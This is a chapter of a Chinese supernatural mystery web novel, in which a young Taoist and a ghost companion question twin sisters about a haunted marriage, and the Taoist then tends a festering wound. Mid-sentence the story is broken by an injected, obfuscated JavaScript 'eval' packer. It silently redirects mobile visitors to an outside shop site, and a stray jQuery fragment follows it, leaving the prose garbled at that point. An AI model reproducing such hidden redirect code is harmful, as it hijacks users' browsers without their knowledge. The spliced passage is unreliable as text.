刘玉与方回的视线撞上,明显被心虚,赶紧起身离开了客厅。
“小玉?”刘婷不知道自己的妹妹这是怎么了,她冲两人扯了扯嘴角,“不好意思,我妹妹一直就这个性格,都快三十岁的人了,还是不习惯和陌生人相处。”
“冒昧的问一句,刘小姐你和你前夫的关系怎么样?”宁鹤澜端起了茶杯又放下了。
听到这个问题后,刘婷有着片刻的晃神,她将鬓边垂下的头发别在脑后:“我和他,曾经十分相爱。”
刘婷和前任丈夫是初中同学,从校园到婚纱,他们走了十年。
结婚后二人如胶似漆,感情好得不得了。
只是那一天,刘婷下夜班的时候,让前任丈夫来接他。
“当天他刚从兄弟的酒局上下来,晚上又下了点小雨,我的公司前面在修路,工人们刚挖了一个大坑……”刘婷说到这里,满眼伤悲,她哽咽住了,捂住脸垂下了头。
宁鹤澜和方回都没出声,很快,刘婷抬起头:“在他走了五年之后,我遇到了我老公,幸亏有他,让我重新燃起了对生活的希望。”
方回听着这些话,也许是才在梦里与自己爸爸说过话,他心里也有些感触。
宁鹤澜的手臂一直隐隐作痛,他不动声色地捂住伤处:“请问,你的妹妹结婚了吗?”
刘婷显然没想到宁鹤澜话题转得这么快,怔了下才说:“没有,她一直都是单身。”
刘婷告诉他们,刘玉虽然和自己是双胞胎,可两人的性格天差地别。
姐姐刘婷阳光开朗,妹妹刘玉内向敏感。
两人从小就读一个班,一直到大学。
姐姐一直被众星捧月,妹妹反而成了不起眼的那个。
方回轻呵了一声:“妹妹肯定嫉妒姐姐。”
刘婷看了一眼方回:“没有,小玉她虽然话少,可我们姐妹俩关系非常好,我们一直都在一起。”
方回被打脸,识趣地闭上了嘴。
“你妹妹就一直和你同住吗?”宁鹤澜又问。
刘婷点点头,她不知道为什么宁鹤澜一直在问刘玉的事:“是哪里不对吗?“
“没有。”宁鹤澜一笑,“介意我和你妹妹聊聊吗?”
刘婷忙说:“不介意不介意,小玉她……哦,她去厨房了。”
宁鹤澜站起身,走到厨房门口的时候,正看到刘玉手里拿着刀,正盯着案板上的肉发呆。
忽然她好像感受到了宁鹤澜的视线,她并没有回头,只是拿起刀开始切起肉片。
“刘玉小姐,你好,我能和你聊聊吗?”宁鹤澜站在厨房门口说。
切肉的动作缓了下,刘玉轻轻嗯了一声。
宁鹤澜倚在门口:“请问,你姐姐和你姐夫的关系怎么样?”
“……哪一个姐夫?”刘玉缓了下才问。
“两个都说说吧。”
刘玉这时才放下了刀,她走到厨房门口往外看了一眼,没看到刘婷。
“你姐姐去卫生间了。”宁鹤澜注意着她的神情。
刘玉表情微变,她的手指不自觉地内扣:“我和你说的,你能不要和我姐姐说吗?”
宁鹤澜不置可否:“有什么不能让她知道的吗?”
刘玉示意宁鹤澜进来,随后将厨房门关上。
她洗了洗手,才回头看向宁鹤澜:“其实我姐姐和姐夫的关系并不好。”
“哪一个?”
“两个都是。”
刘玉有些犹豫,不过还是继续说:“我上一任姐夫是出车祸死掉的,你刚才应该听我姐姐说了吧。”
宁鹤澜嗯了声,刘玉皱起了眉:“其实那天,是因为姐姐和姐夫吵架,姐夫赌气开车,才会发生意外的。”
在刘玉的话中,刘婷和前任简直是相看两生厌。
两人确实是初中同学,不过刘婷的控制欲太强,前任就想读大学离刘婷远一些,没想到刘婷还是追着去了。
“姐姐和姐夫在外人眼里,就是金童玉女,才子佳人,可只有我知道,两人私底下吵了多少架,很多次甚至还会动手,”刘玉摇了摇头,“他们的关系早就破裂了。”
“既然如此,为什么还要结婚?”宁鹤澜不懂。
“是姐姐以自己怀孕逼他的……”刘玉说,“结了婚才发现,姐姐并没有怀孕。”
宁鹤澜抱起手:“那现任呢?”
“现任……他也不喜欢姐姐,只是图姐姐的钱而已。”刘玉说。
宁鹤澜问道:“你姐姐听到前任丈夫在耳边说话,是从什么时候开始的?”
听宁鹤澜问起这个问题,刘玉似乎有些紧张,她紧紧抓着围裙,低下头,目光在地上游移。
方回在客厅相当无聊,他什么也做不了,从这里看到厨房里宁鹤澜还在和刘玉说话。
他呵了一声:“这个宁鹤澜,刚才就关心人家妹妹有没有结婚,有没有对象,现在又和人家躲在厨房嘀嘀咕咕,别是看上人家了吧?”
过了好一会儿,宁鹤澜才从厨房出来,一抬头就看到方回抱着手,一脸的玩味。
宁鹤澜:“……?”
刘婷从卫生间出来,得知两人就要走很是意外:“这……”
这什么事都没解决就走了?
“刘小姐,我们回去准备点东西,晚上会再来的。”宁鹤澜说。
“是不是真的有什么不干净的东西?”刘婷赶紧问。
宁鹤澜淡淡一笑:“放心刘小姐,什么事都有个解释的。”
回家的路上,宁鹤澜若有所思,方回心里憋不住事,调侃道:“哎,宁道长,你是不是看上人家小妹了?”
“……啊?”
“一去就不停地问人家婚姻状况,还躲到厨房里偷偷摸摸聊了那么久。”方回一脸八卦,“跟哥说说,是不是觉得人家长得漂亮看上人家了啊?”
宁鹤澜皱了皱眉:“你多大?”
方回不懂:“20啊。”
宁鹤澜表情微妙,自言自语:“居然大了一岁……”
“你说啥?”
“我说你大了我一岁。”
“你才19啊,那我确实可以当你哥……哎不对!这是重点吗?喂!宁鹤澜你听我说话!”方回无语,这宁鹤澜抓的重点怎么这么奇怪。
等两人回到家,宁国华早已经到了,他正在打扫阳台,鸡哥卧在一旁的草窝里打着盹。
“爷爷,您身体不好去歇着吧,我来弄。”宁鹤澜说着就想挽袖子,突然想到手臂上的伤,于是往下扯了扯袖口去拿扫帚。
“哎哎,别和我抢,我在医院睡了几天,这全身都在痛,再不活动下,骨头全硬了。”宁国华说着,用背挡在阳台那,不让宁鹤澜过来。
宁鹤澜试了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12976597|132313||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
几次都过不去,只能作罢:“行行行,我不和您抢。”
宁国华将一包东西拿出来,打开包装袋,一股怪异的味道传了出来,宁鹤澜皱起了鼻子:“这什么东西啊……”
“昆虫粉,拿给你鸡哥补钙的。”宁国华将这些粉末倒在食盒里,“有蜈蚣,面包虫,马蜂这些。”
“您从哪儿弄来的……”宁鹤澜觉得这味道着实不好闻,而且好像在哪里闻到过。
“让李老头在他老家带的,他老家这些玩意儿多……”
突然宁鹤澜伤口猛地一痛,他转身急急跑进了卫生间。
“小澜,你们……”宁国华回过头,宁鹤澜没影了,他转而看向坐在沙发上的方回,“方回,你们去刘小姐家看得怎么样?”
方回挠了挠头:“什么也没看出来。”
“没有你的同类?”
“……”方回闭了闭眼,“没有,好像就是个正常人家。”
如果那刘玉周身的淡紫色气息也算正常的话,不过方回不知道那是什么,也就没说。
“方回,小澜他看不到这些,所以我让你去帮忙,如果遇到什么灵异的事情,能解决的话,你的阴德不就又攒上了吗?”
方回举起手腕,看着上面的数字“10”,摸了摸:“可是宁爷爷,您宝贝孙子看不到鬼怪,那我就算看到了,他也解决不了啊,我觉得还是得你在场。“
说完后却没听到宁国华的回应,方回抬起眼,看到宁国华手撑扫帚站在阳台上,望着远处,似乎在出神。
“……这俩不听人说话的毛病,还真是一样一样的,不愧是亲爷孙。”方回不满地嘟囔着。
过了半天,宁国华才放下扫帚走了进来,他拍拍手坐到沙发上:“你们去问到什么了?”
“刘婷说她和前夫哥关系很好,前夫哥死了之后她整整五年都没走出来,还好遇到现任。不过自从和现任结婚之后,就天天晚上梦到前夫哥。”方回翘起腿,懒散地坐在沙发上,“不过我觉得奇怪的是,她家的妹妹刘玉一直和她住在一起,听刘婷说她妹妹既不谈恋爱,也不结婚。”
宁国华认真的听着:“她妹妹没有什么异常吗?”
“……就是有点害怕陌生人,不过她不怕宁鹤澜,两人还躲小厨房里说了好半天的话。”方回说。
卫生间里,宁鹤澜的额头已经出了薄薄的一层汗,他眼眸晦暗,纤密的睫毛微微颤着。
面前的水龙头放着水,下水道口出有些红的绿的混合液体。
手臂上的伤口没有半点愈合的迹象,反而越来越疼。
宁鹤澜闭了闭眼,伸手将水龙头关掉。
撕开手臂上的创可贴,下面的伤口原本只是细长的一条,现在明显变宽了,而且伤口处的皮肉红肿,往外浸着深绿色的液体。
他用指腹沾了点这液体放近眼前瞧着,看起来确实像化脓了。
余光看到旁边的酒精,宁鹤澜咬了咬牙,拧开瓶盖往伤处倒了下去。
酒精的刺激和伤口本身的疼痛让宁鹤澜的脸顿时白了,英俊的五官控制不住地抽搐:“嘶……”
将伤口里的脓液冲洗掉后,手臂也痛麻了。
再一看,洗干净之后倒是比之前好了许多,宁鹤澜紧拧着的眉头终于是松开了。
他扬起下巴,一颗汗珠滑过他漂亮的侧脸,接着长长地呼出了一口气。